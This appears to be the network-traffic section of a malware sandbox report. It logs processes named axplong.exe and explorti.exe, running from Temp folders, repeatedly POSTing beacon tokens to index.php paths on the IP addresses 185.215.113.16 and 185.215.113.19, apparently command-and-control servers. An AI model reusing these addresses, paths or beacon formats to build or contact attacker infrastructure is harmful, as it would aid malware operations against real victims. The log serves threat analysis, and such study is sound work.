Jul 27, 2024 09:26:27.899929047 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:28.152930975 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49771	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:27.801965952 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:28.568027973 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:28.568691969 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:28.819492102 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49772	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:28.270920992 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:29.011483908 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:29.012154102 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:29.259108067 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49773	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:28.926327944 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:29.689940929 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:29.690560102 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:29.940952063 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49774	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:29.379765034 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:30.141613007 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:30.142283916 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:30.402580976 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49775	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:30.068804979 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:30.819565058 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:30.824038982 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:31.072681904 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49776	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:30.526777029 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:31.290647030 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:31.291291952 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:31.539521933 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49779	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:31.191848040 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:31.953186989 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:31.986438036 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:32.236812115 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49782	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:31.663420916 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:32.422482014 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:32.423060894 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:32.674310923 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49785	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:32.363769054 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:33.118335962 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:33.119180918 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:33.367639065 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49786	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:32.789871931 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:33.529954910 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:33.535835981 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:33.782710075 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49788	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:33.501235008 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:34.235690117 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:34.236396074 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:34.483314991 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49791	34.107.221.82	80	5256	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:33.836708069 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 27, 2024 09:26:34.294478893 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 26 Jul 2024 14:19:52 GMT Age: 61602 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 27, 2024 09:26:44.301811934 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49792	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:33.914693117 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:34.667979956 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
